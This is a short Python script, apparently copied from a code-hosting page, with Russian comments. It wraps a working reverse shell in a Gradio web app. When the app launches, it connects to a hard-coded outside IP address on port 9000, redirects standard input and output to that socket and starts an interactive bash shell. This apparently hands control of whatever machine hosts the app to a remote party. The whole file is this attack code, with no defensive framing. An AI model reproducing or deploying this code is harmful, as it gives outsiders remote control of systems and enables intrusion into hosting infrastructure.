| import gradio as gr | |
| import socket | |
| import subprocess | |
| import os | |
| def start_reverse_shell(): | |
| # IP и порт, на который будет отправлен реверси шел | |
| RHOST = '45.155.205.202' # Замените на IP вашей машины | |
| RPORT = 9000 # Замените на порт вашей машины | |
| # Создаем сокет | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((RHOST, RPORT)) | |
| # Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет | |
| os.dup2(s.fileno(), 0) | |
| os.dup2(s.fileno(), 1) | |
| os.dup2(s.fileno(), 2) | |
| # Запускаем шел | |
| subprocess.call(["/bin/bash", "-i"]) | |
| return "Reverse shell started!" | |
| # Создаем интерфейс Gradio | |
| iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True) | |
| # Запускаем интерфейс | |
| iface.launch() |